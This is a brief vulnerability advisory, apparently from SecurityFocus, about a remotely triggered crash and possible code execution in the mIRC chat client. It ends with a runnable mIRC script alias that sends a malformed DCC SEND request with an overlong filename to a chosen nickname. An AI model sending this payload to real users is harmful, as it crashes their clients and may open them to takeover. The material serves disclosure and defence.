source: https://www.securityfocus.com/bid/9492/info

A vulnerability has been reported to exist in mIRC that may allow a remote attacker to crash a vulnerable mIRC client.

It has been reported that the issue will present itself only in certain circumstances. Although unconfirmed, due to the nature of this vulnerability it has been conjectured that a remote attacker may potentially lever this issue to have arbitrary code executed in the context of the affected mIRC client. 

alias mirc612 { echo -a *** Sending exploit to $$1 | .raw PRIVMSG $$1 $+(:,$chr(1),DCC) send $str($rand(a,z) $+ $chr(256),250) $+ 0 $+ .txt 2130706433 $+(8192,$chr(1)) }